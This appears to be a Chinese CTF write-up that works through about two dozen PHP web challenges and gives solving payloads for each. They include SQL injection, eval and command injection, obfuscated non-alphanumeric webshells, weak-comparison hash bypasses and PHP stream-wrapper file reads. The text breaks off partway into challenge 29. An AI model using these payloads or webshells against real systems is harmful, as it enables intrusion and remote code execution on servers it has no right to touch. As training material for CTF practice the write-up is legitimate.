1.
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
<?php
error_reporting(0);
require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';
highlight_file(__FILE__);
bin2hex:把十六進制值轉換為 ASCII 字符。
strrev:反轉字符串。
hex2bin:把十六進制值轉換為 ASCII 字符。
python腳本:
binascii:binascii 模塊包含很多在二進制和二進制表示的各種ASCII碼之間轉換的方法。
binascii.b2a _ hex:返回的二進制數據的十六進制 strrev:反轉字符串。
binascii.a2b _ hex :執行反向操作。
import base64
import binascii
def strrev(string):
return string[::-1]
a="1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY="
b=binascii.a2b_hex(strrev(binascii.b2a_hex(base64.b64decode(a))))
print (b)
c=strrev(binascii.b2a_hex(base64.b64decode(a)))
print c
2.
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);
直接寫入結果需要等非常漫長的時間,但是通過科學計數法,我們只需要7秒,因為sleep函數的存在。
payload:http://148.70.62.239:23002/challenge2.php?time=7.776e6
3.
看到提示:challenge3.txt
所以轉到view-source:http://148.70.62.239:23003/challenge3.txt
以下為php代碼:
<?php
error_reporting(0);
echo "<!--challenge3.txt-->";
require __DIR__.'/lib.php';
if(!$_GET['id'])
{
header('Location: challenge3.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
echo $flag;
}
else
{
print "work harder!harder!harder!";
}
?>
stripos() 函數:查找 "php" 在字符串中第一次出現的位置。
php弱比較:
<?php
var_dump("admin"==0); //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true
?>
==:等值符,當等號兩邊為相同類型時,直接比較值是否相等;當等號兩邊類型不同時,先轉換為相同的類型,再對轉換后的值進行比較,如果比較一個數字和字符串或者涉及到數字內容的字符串,則字符串會被轉換成數值並且比較按照常數值進行比較。
注意:如果該字符串沒有包含'.','e','E'並且其數值值在整形的范圍之內 該字符串被當作int來取值,其他所有情況下都被作為float來取值,字符串的開始部分決定了它的值,如果該字符串以合法的數值開始,則使用該數值,否則其值為0。
strcmp漏洞繞過:
strcmp函數會比較兩個字符串,如果str1>str2返回>0,相等就會返回=0.
但是當我們傳入數組形式,例如test[]=aaaa那么此時函數類型不匹配,但php還會判斷其相等,該漏洞應該在老的php版本里有效。
"arraysearch"與isarray"繞過:is_array:判斷傳入的是不是一個數組,arraysearch(x,$數組):在數組中尋找與指定值(x)相等的值,arraysearch函數 類似於"==",會進行類型的轉換,所以有時候我們傳入數組進行匹配,例如array[]=0,遇到字符串匹配那么此時就回成為admin==0,根據==的判斷規則就會認為匹配了。
繼續這道題:
第一部分id的取值:
這里有個if語句判斷,此時可以看到有一個!號來進行取反,所以我們的id值應該為0或者是null,所以此時我們可以利用上面的弱比較,我們可以這么寫:id=aaa123
第二部分a的取值:
看到if判斷條件是不允許我們使用.的,下面filegetcontents能夠讀取我們傳來的數據,但是我們無法進行文件操作,但是我們利用偽協議,php://input,使用post方式來傳輸數據,根據要求,post :1112 is a nice lab!
此時就是:file_get_contents('php://input','r')
第三部分b的取值:
這里就有點搞了,根據他的要求,讓我們既要跟111拼成1114,又讓我們的第一位不能為4,並且長度要大於五。
利用%00截斷,對於%00截斷函數,他能終止substr函數,但是對於strlen則不會。
4.
<?php
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
payload:/challenge4.php?hello=);eval(phpinfo()
此處我們利用了在php雙引號會對包裹起來的字符串要進行掃描計算,所以拼接完成后會變成這樣:eval("var_dump();eval(phpinfo());");
在雙引號當中已經被小執行了一次,留下了我們的shell。
5.
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
在這里他既要求我們password不能相等,又要讓我們在sha1下相等,看到兩個等號以及sha1其實就已經可以知道是利用數組來進行繞過,
sha1 — 計算字符串的 sha1 散列值,在sha1()當中當有數組傳入的時候,其返回值為NULL.
拓展:
md5加密相等繞過:
md5(s878926199a)=0e545993274517709034328855841020
md5(s155964671a)=0e342768416822451524974117254469
md5(s214587387a)=0e848240448830537924465865611904
md5(s1091221200a)=0e940624217856561557816327384675
md5(s1885207154a)=0e509367213418206700842008763514
md5(s1502113478a)=0e861580163291561247404381396064
當我們輸入的md5是以0e開頭的時候,我們可以使用以上值進行繞過,因為是關於科學計數法的。
6.
利用bool注入結合sqlmap得到一些基本的信息。
查看代碼:
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********", "*****", "********");
mysql_select_db("challenges") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pwd from interest where uname='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pwd"];
if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
此處我們需要滿足:
if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
echo "<p>Logged in! Key:************** </p>";}
這段代碼的意思就是,我們要查詢的user他是有pwd的,並且pwd列的值與md5要匹配。
strcasecmp函數判斷結果為:
0 - 如果兩個字符串相等
<0 - 如果 string1 小於 string2
>0 - 如果 string1 大於 string2
我們構造兩個相等的即可。
payload:' union select "21232f297a57a5a743894a0e4a801fc3"#&pass=admin
8.
源代碼:
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++)
{
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}
?>
這段代碼讓我們傳遞變量c,但是要繞過黑名單,跟<?php組合在一起生成webshell,一定要執行才行,只是單純傳遞一個繞過的不行。
構造無字母webshell:
<?php
$_=[].[];
$__='';
$_=$_[''];
$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // E
$_=++$_;$_=++$_;
$__=$_.$__; // GE
$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // GET
var_dump(${'_'.$__}[_](${'_'.$__}[__])); // $_GET['_']($_GET['__']);
關於無字母webshell的編寫原理是利用到了異或,即二進制之間的異或轉換。
A對應的二進制值是01000001 //由ascii轉換而來
?對應的二進制值是00111111
異或的二進制的值是01111110 //對應為~
太騷了:https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
合為一行:$__=("#"^"|").("."^"~").("/"^"
").("|"^"/").("{"^"/");`
上傳好最上方的payload,?_=system&__=cat%20../flag.php
利用命令執行得到flag。
利用自增的shell:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
原理:'a'++ => 'b','b'++ => 'c'
9.
源代碼:
<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
%0a換行符繞過。 payload:http://148.70.62.239:23009/challenge9.php?ip=12\7.\00.0.\1%0Acat%20flag.php
10.
源代碼:
<?php
require __DIR__.'/flag.php';
if (isset($_POST['answer'])){
$number = $_POST['answer'];
if (noother_says_correct($number)){
echo $flag;
} else {
echo "Sorry";
}
}
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
# Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
}
# Allow the magic number ...
return $number == "3735929054";
}
highlight_file(__FILE__);
?>
payload:answer=0xdeadc0de
轉換為16進制。
11.
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
$GLOBALS['var']是外部全局變量的本身,而global $var則是外部$var的同名引用或者說是指針,也就是說global函數產生一個指向函數外部變量的別名變量,而不是真正的函數外部變量,而$GLOBALS[]確確實實調用的是外部的變量,函數內外都會始終保持一致。
https://www.freebuf.com/column/230907.html
12.
直接閉合:?hello=);var_dump(file("flag.php"));//
源代碼:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
14.
php偽協議:?path=php://filter/convert.base64-encode/resource=flag.php
15.
源代碼:
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = 'upload/'.$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){
die('SYCwaf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}
u1s1我剛開始被繞懵了,已經意識到了是寫shell查看flag,而關鍵點就是在filegetcontent這里,並且path變量時我們可以控制的,不要相信用戶的輸入是很重要的,當我們傳入一個path變量:<?php phpinfo();xxxxx
前者是會被解析的,顯示頁面為console.log(upload/<?php phpinfo(); update successed!)
而在頁面中是沒有的,此時我們再創建一個頁面,將這個頁面包含進去,那么php就會被解析。
payload:path=shell.php&file=http%3a%2f%2f127.0.0.1%2f%3fpath%3d<%3fphp%2bphpinfo()%3b%3f>%26file%3dhttp%3a%2f%2f127.0.0.1%2findex.php
fopen與file _ get_contents:
file _ get _ contents()打開網頁后,返回的變量是一個字符串,可以直接輸出的。
fopen()打開網頁后,返回的變量不是字符串,不能直接輸出的,還需要用到fgets()這個函數來獲取字符串。fgets()函數是從文件指針中讀取一行。文件指針必須是有效的,必須指向由 fopen() 或 fsockopen() 成功打開的文件
16.
源代碼:
<?php
if (isset($_POST["submit"]))
{
if (isset($_POST['hihi']))
{
if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE)
{
exit('<script>alert("have fun:)")</script>');
}
elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999)
{
if (strpos($_POST['hihi'], '#HONG#') !== FALSE)
{
if (!is_array($_POST['hihi'])) {
include("flag.php");
echo "Congratulations! FLAG is : ".$flag;
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("sorry")</script>');
}
}
}
show_source(__FILE__);
?>
根據代碼可以判斷,需要滿足以下條件:
submit,hihi都存在, hint只能為字母或者字符串。 hihi長度要小於11位,但是值要大於9999999,並且包含#HONG#
,並且不能為數組,這事就產生了沖突因為#HONG#是有特殊字符的。。
在查找ereg的時候看到了ereg()是具有截斷漏洞的,所以我們加上截斷就能跳過判斷了。
17.
<?php
header("Content-type: text/html; charset=utf-8");
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (ereg ('\.', $_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^']) ) $smile = 0;
if (ereg ('https', $_GET['^_^']) ) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
show_source(__FILE__);
?>
分析代碼:
一阿航啊if判斷語句我們都不能匹配,否則無法獲得flag。
data傳輸協議:
data:,<文本數據>
data:text/plain,<文本數據>
data:text/html,<HTML代碼>
data:text/html;base64,<base64編碼的HTML代碼>
data:text/css,<CSS代碼>
data:text/css;base64,<base64編碼的CSS代碼>
data:text/javascript,<Javascript代碼>
data:text/javascript;base64,<base64編碼的Javascript代碼>
data:image/gif;base64,base64編碼的gif圖片數據
data:image/png;base64,base64編碼的png圖片數據
data:image/jpeg;base64,base64編碼的jpeg圖片數據
data:image/x-icon;base64,base64編碼的icon圖片數據
關於:QUERY_STRING:
http://localhost/aaa/?p=222
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
payload:?^.^=data://text/plain;charset=unicode,(●’◡’●)
說實話我沒怎么理解。
payload:148.70.62.239:23017/challenge17.php?^.^=data://text/plain;charset=unicode,(●%27◡%27●)
我覺得可能是因為在傳輸過程中這些字符由於太過特殊而無法傳遞,所以我們先定下編碼
18.
代碼:
<?php
header("Content-type: text/html; charset=utf-8");
if(isset($_POST['login']))
{
if(isset($_POST['user']))
{
if(@strcmp($_POST['user'],$USER))//USER是被隱藏的復雜用戶名[原題已有注釋]
{
die('user錯誤!');
}
}
if (isset($_POST['name']) && isset($_POST['password']))
{
if ($_POST['name'] == $_POST['password'] )
{
die('賬號密碼不能一致!');
}
if (md5($_POST['name']) === md5($_POST['password']))
{
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
{
if($_POST['id']==72)
die("flag{xxxxxxxxxxxxx}");
else
die("ID錯誤2!");
}
else
{
die("ID錯誤1!");
}
}
else
die('賬號密碼錯誤!');
}
}
?>
好像之前有做過類似的,對於md5的繞過,我們利用弱比較,因為md5無法處理數組。關於72,我們使用科學計數法就可以了。
payload:`POST /challenge18.php HTTP/1.1
Host: 148.70.62.239:23018
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://148.70.62.239:23018
Connection: close
Referer: http://148.70.62.239:23018/
Upgrade-Insecure-Requests: 1
name[]=1&password[]=c&id=7.2e1&login=Check
當然加上一個點也可以:
POST /challenge18.php HTTP/1.1
Host: 148.70.62.239:23018
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://148.70.62.239:23018
Connection: close
Referer: http://148.70.62.239:23018/
Upgrade-Insecure-Requests: 1
name[]=1&password[]=c&id=72.000&login=Check
19.
源碼:
<?php
error_reporting(0);
require_once('flag.php');
if(!isset($_GET['sss'])){
show_source('challenge19.php');
die();
}
$sss=$_GET['sss'];
if(strlen($sss)==666){
if(!preg_match("/[^0-6]/",$sss)){
eval('$sss='.$sss.';');
if($sss!=='0x666'){
if($sss=='0x666'){
echo $flag;
}
}
}
}
?>
根據判斷條件我們將其轉換為8進制即可,然后利用python打印出剩下的0即可。
20.
<?php
require_once('flag.php');
if(empty($_GET['user'])) die(show_source(__FILE__));
$user = ['admin', 'xxoo'];
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
echo $flag;
}
?>
1
漏洞:var_dump([0 => 0] === [0x100000000 => 0]);
在php版本為5.6及以下時,var_dump([0 => 0] === [0x100000000 => 0]);
返回了true,那么根據條件我們想要滿足的第一個條件就可以這樣繞過了,第二個條件也滿足了,因為此時就不存在數組第零項了,第一處也滿足[0=>0]===xxxxx了。
21.
源代碼:
<?php
require('flag.php');
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))#要有可見字符,長度要大於十二
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))#按正則匹配至少要分出六組
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1; #每匹配到一種c加一。
}
if ($c < 3) break; #要匹配最少三次
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
show_source(__FILE__);
POSIX | Description | ASCII | Unicode | Shorthand | Java |
---|---|---|---|---|---|
[:alnum:] | Alphanumeric characters | [a-zA-Z0-9] | [\p{L&}\p{Nd}] | \p{Alnum} | |
[:alpha:] | Alphabetic characters | [a-zA-Z] | \p{L&} | \p{Alpha} | |
[:ascii:] | ASCII characters | [\x00-\x7F] | \p{InBasicLatin} | \p{ASCII} | |
[:blank:] | Space and tab | [ \t] | [\p{Zs}\t] | \h | \p{Blank} |
[:cntrl:] | Control characters | [\x00-\x1F\x7F] | \p{Cc} | \p{Cntrl} | |
[:digit:] | Digits | [0-9] | \p{Nd} | \d | \p{Digit} |
[:graph:] | 可見字符(即空格,控制字符等除外) | [\x21-\x7E] | [^\p{Z}\p{C}] | \p{Graph} | |
[:lower:] | Lowercase letters | [a-z] | \p{Ll} | \p{Lower} | |
[:print:] | Visible characters and spaces (i.e. anything except control characters, etc.) | [\x20-\x7E] | \P{C} | \p{Print} | |
[:punct:] | 標點和符號 | [!”#$%&’()*+, -./:;<=>?@ [\]^_`{|}~] | [\p{P}\p{S}] | \p{Punct} | |
[:space:] | All whitespace characters, including line breaks | [ \t\r\n\v\f] | [\p{Z}\t\r\n\v\f] | \s | \p{Space} |
[:upper:] | Uppercase letters | [A-Z] | \p{Lu} | \p{Upper} | |
[:word:] | Word characters (letters, numbers and underscores) | [A-Za-z0-9_] | [\p{L}\p{N}\p{Pc}] | \w | |
[:xdigit:] | Hexadecimal digits | [A-Fa-f0-9] | [A-Fa-f0-9] | \p{XDigit} |
關於preg _ match與preg _ match _ all:
preg_match 只匹配一次,preg _ match _ all是全文匹配返回完整匹配次數,即所有跟表達式一致的都找出來。
http://148.70.62.239:23021/challenge21.php
payload:password=4200.0000e-2
發送如下數據。
22.
<?php
require('flag.php');
if (isset($_GET['src']))
highlight_file(__FILE__) and die();
if (isset($_GET['md5']))
{
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "Wonderbubulous! Flag is ".$flag;
else
echo "Nah... '",htmlspecialchars($md5),"' not the same as ",md5($md5);
}
?>
要求我們滿足:($md5==md5($md5))
這個條件我們要找到一個以0e開頭的字符串,經過md5后他依然為0e開頭,放入我們就可以利用弱比較進行繞過。
0e215962017
這個在這道題下就ok //0e215962017 0e291242476940776845150308577824
23.
<?php
highlight_file(__FILE__);
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
if(@file_get_contents($k1)==="Hello hacker!"){
echo 'welcome! Hacker!<br>';
if(md5($k2)>666666*666666)
{
include('flag.php');
@$k3=$_GET['key3'];
@$k4=$_GET['key4'];
if(intval($k3)<666)
{
if($k3==666)
{
echo 'Come on, flag is coming<br>';
if($k4>0)
{
if(intval($k3+$k4)<666)
echo $flag;
}
}
}else{
exit();
}
}else{
exit();
}
}else{
exit();
}
?>
關於key1:因為是file _ get _ content
利用data偽協議傳遞參數,http://148.70.62.239:23023/challenge23.php?key1=data://text/plain;base64,SGVsbG8gaGFja2VyIQ==
關於key2:找一個全是數字的,或者是只包含有e和數字的,例如1518375。 關於key3:利用科學計數法,直接66.6e1即可,但是看周周的解法是使用精度繞過665.9999999999999999999,還可以使用十六進制繞過0x29a。
關於key4:我嘗試使用00截斷沒用,也嘗試使用././././././././././././././././././././././././././././././././././././././././././././././././
繞過但好像不行,看了思路是利用溢出,因為intval判斷范圍有限。
payload:http://148.70.62.239:23023/challenge23.php?key1=data://text/plain;base64,SGVsbG8gaGFja2VyIQ==&key2=1518375&key3=66.6e1&key4=999999999999999999999999999999999999999999999999999999
24.
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
根據最后的代碼進行判斷,我們可以發現,我們要滿足,v1,v2,v3都為1,就是要滿足三種條件,依次分析:
v1滿足的條件為:
當我們傳入foo的時候,php會先將其轉換為json格式,然后會將其在轉換為數組,並且判斷數組a的bar1部分其值是否為數字,然后判斷是否大於2016。
解決方法:利用弱比較,即2017a即可。
v2滿足條件:
因為這里是or屬性,必須讓他為假才行,所以這兩個條件要么都是真,要么都是假:
根據推理可得,這段數組必須要有五對,同時他的第零項也要為數組,再看if判斷條件可得:$a["a2"] = “nudt”
,並且$a["bar2"]
不包含nudt。
解決方法:$a["bar2"] = [[],2,3,4,5],$a["a2"] = “nudt”
v3滿足條件:
獲取cat,dog。滿足if的兩個條件都要為真,所以c[1]長度要小於d且他們不一致,c[0]d里面不能有關於3,1,c的任意一個字符串。
將c[0],d拼接在一起里面的字符串要有htctf2016. 解決方法:使用%00截斷eregi函數,最后$c[0] = "ahtctf2016"
滿足以上三段條件。
最終payload:?foo={“bar1”:”2017e”,”bar2”:[[],2,3,4,5],”a2”:[“nudt”]}&cat[0]=ahtctf2016&cat[1][]=&dog=%00
25.
<?php
error_reporting(0);
require __DIR__."/flag.php";
$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);
$params = explode("&", $url_query);
foreach($params as $param){
$idx_equal = strpos($param, "=");
if($idx_equal === false){
$key = $param;
$value = "";
}else{
$key = substr($param, 0, $idx_equal);
$value = substr($param, $idx_equal + 1);
}
if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
}
if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}
highlight_file(__FILE__);
payload:http://148.70.62.239:23025///?do_you_want_flag=yes
此處利用到了parse_url的解析漏洞:
詳情:parseurl()會把//認為是相對路徑(5.4.7以前),兩個斜杠直接使得后面為host名而之后的/就會被認為是相對路徑。
對於高版本的php的來說 直接/// 三個斜杠就可以直接解決方便 ,因為其導致 嚴重不合格的 URL,parseurl() 返回FALSE 這個是通用的繞過方法
https://blog.csdn.net/q1352483315/article/details/89672426
26.
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$value = $_GET['value'];
$username = $_GET['username'];
$password = $_GET['password'];
for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username); #有用戶名會被重置
if ($value[$i] > 32 && $value[$i] < 127) unset($value); #不讓我們輸入32到127之間的數字以轉換ASCII碼
else $username .= chr($value[$i]); #使用chr函數生成用戶名進行拼接
if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) { #此處需要用戶名
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}
highlight_file(__FILE__);
關於這段代碼:它讓我們傳遞三個參數,值,用戶名和密碼,分析以上代碼,我們可以發現解決這道題的關鍵在於如何繞過。
注意:ord() 函數返回字符串的首個字符的 ASCII 值。
<?php
$i=0;
while ($i <= 100) {
$test = $i."e1";
if ($test > 32 && $test < 127)
{
}
else
{
if ((ord(chr($test))>32)&&(ord(chr($test))<127))
{
echo "test:".$test." chr:".chr($test)."\n";
}
}
$i = $i+0.1;
}
腳本生成,然后進行拼接繞過,原理我也不清楚,但是我算了一下當大於256時,他又開始進行了一次輪回,我們往上疊加此時256+65我們輸入321,chr(321)轉換完之后是A,跟chr(65)是一樣的,依次下去我們再加256同樣輸出還是A,所以我們可以利用這個特性,配合科學計數法進行繞過。
27.
<?php
error_reporting(0);
session_start();
if(isset($_GET['username'], $_GET['password'])){
if(isset($_SESSION['hard_login_check'])){
echo 'Already logged in..';
}else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
echo 'Wrong username..';
}else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
echo 'Wrong password..';
}else{
$_SESSION['hard_login_check'] = true;
echo 'Login success!';
header('Location: ./');
}
echo '<hr>';
}
highlight_file(__FILE__);
抓包截取跳轉頁面。
28.
<?php
error_reporting(0);
require __DIR__.'/flag.php';
if(isset($_GET['say']) && strlen($_GET['say']) < 20){
$say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);
if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}else{
echo 'What the f**k?';
}
echo '<hr>';
}
highlight_file(__FILE__);
正則表達式缺陷:payload:?say=%0agive_me_the_flag
,因為用於任意字符匹配並不包括換行符。
29.
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
